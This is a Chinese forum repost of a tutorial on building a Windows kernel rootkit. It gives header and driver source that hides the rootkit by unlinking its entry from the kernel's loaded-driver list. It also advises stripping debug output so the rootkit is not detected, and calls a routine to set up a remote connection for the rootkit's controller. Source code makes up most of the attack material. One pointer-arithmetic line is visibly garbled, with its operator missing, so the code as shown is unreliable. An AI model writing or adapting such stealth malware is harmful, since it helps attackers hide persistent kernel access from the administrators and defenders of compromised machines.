• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    Rootkit隐形技术教程(图)

    发布者: 您的网友已离线 | 发布时间: 2025-6-27 16:14| 查看数: 38| 评论数: 0|帖子模式

    一、综述

    本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。

    本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。

    二、rootkit主体

    本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。

    我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:

    //Invisible.h:我们rootkit的头文件
    #ifndef _INVISIBLE_H_
    #define _INVISIBLE_H_

    typedef BOOLEAN BOOL;
    typedef unsigned long DWORD;
    typedef DWORD* PDWORD;
    typedef unsigned long ULONG;
    typedef unsigned short WORD;
    typedef unsigned char BYTE;

    typedef struct _DRIVER_DATA
    {
    LIST_ENTRY listEntry;
    DWORD  unknown1;
    DWORD  unknown2;
    DWORD  unknown3;
    DWORD  unknown4;
    DWORD  unknown5;
    DWORD  unknown6;
    DWORD  unknown7;
    UNICODE_STRING path;
    UNICODE_STRING name;
    } DRIVER_DATA;

    #endif




    我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。

    这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。

    上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:

    // Invisible

    #include "ntddk.h"
    #include "Invisible.h"
    #include "fileManager.h"
    #include "configManager.h"

    // 全局变量
    ULONG majorVersion;
    ULONG minorVersion;

    //当进行free build时,将其注释掉,以防被检测到
    VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
    {
    DbgPrint("comint16: OnUnload called.");
    }


    NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
    theRegistryPath )
    {
    DRIVER_DATA* driverData;

    //取得操作系统的版本
    PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

    // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
    // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
    // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
    // Minor = 1: Windows XP
    // Minor = 2: Windows Server 2003

    if ( majorVersion == 5 && minorVersion == 2 )
    {
      DbgPrint("comint16: Running on Windows 2003");
    }
    else if ( majorVersion == 5 && minorVersion == 1 )
    {
      DbgPrint("comint16: Running on Windows XP");
    }
    else if ( majorVersion == 5 && minorVersion == 0 )
    {
      DbgPrint("comint16: Running on Windows 2000");
    }
    else if ( majorVersion == 4 && minorVersion == 0 )
    {

      DbgPrint("comint16: Running on Windows NT 4.0");
    }
    else
    {
      DbgPrint("comint16: Running on unknown system");
    }

    // 隐藏该驱动程序
    driverData = *((DRIVER_DATA**)((DWORD)pDriverObject   20));
    if( driverData != NULL )
    {
      // 将本驱动程序的相应目录项从项驱动程序目录中拆下来
    *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
      driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
    }

    // 允许卸载本驱动程序

    pDriverObject->DriverUnload = OnUnload;

    // 为本Rootkit的控制器配置连接
    if( !NT_SUCCESS( Configure() ) )
    {
      DbgPrint("comint16: Could not configure remote connection.\n");
      return STATUS_UNSUCCESSFUL;
    }

    return STATUS_SUCCESS;
    }





    来源:https://www.jb51.net/hack/5847.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表